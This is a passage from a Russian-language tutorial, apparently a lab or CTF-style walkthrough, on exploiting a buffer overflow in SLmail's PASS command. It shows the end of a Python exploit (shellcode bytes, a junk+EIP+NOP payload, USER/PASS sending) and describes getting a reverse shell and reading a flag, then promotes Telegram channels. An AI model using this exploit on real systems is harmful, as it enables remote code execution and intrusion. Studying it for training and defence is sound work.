buf += "\xcd\xa9\x1c\xed\x49\x42\x6d\x7e\x3c\x64\xc2\x7f\x15"
payload = junk + eip + nop + buf
p.sendline("USER " + name)
print p.recvline()
p.send("PASS " + payload)
print p.recvline()
p.interactive()
В отладчике мы видим, что хоть мы и переполнили буфер - приложение не упало! Давайте посмотрим на вкладку с неткатом
Вуаля, к нам прилетел реверс шелл! Старания, потраченные на написание эксплоита не пропали даром
Теперь попробуем повторить без отладчика.
Результат тот же - мы получаем реверс шелл, причем с теми же правами, с которыми был запущен SLmail. Теперь можно попробовать порыться в компьютере и что-то сделать. Например, прочитать флаг с рабочего стола
Вот, собственно, и все! Эксплоит написан, реверс шелл получен, а пост эксплуатация уже выходит за рамки этой статьи и рассматриваться не будет. Надеюсь что вы получили удовольствие и узнали для себя что-то полезное из этой статьи
Если вы дочитали до этого места - обязательно подписывайтесь на канал кодбай t.me/webware и на мой канал t.me/binary_xor
У себя на канале я собираю из интернета (и даже иногда пишу сам!) всякие разные штуки по теме низкоуровневого программирования, реверс инжиниринга и бинарных эксплуатаций, думаю что тем кто это читал будет интересно
Всем спасибо за внимание! До скорых встреч!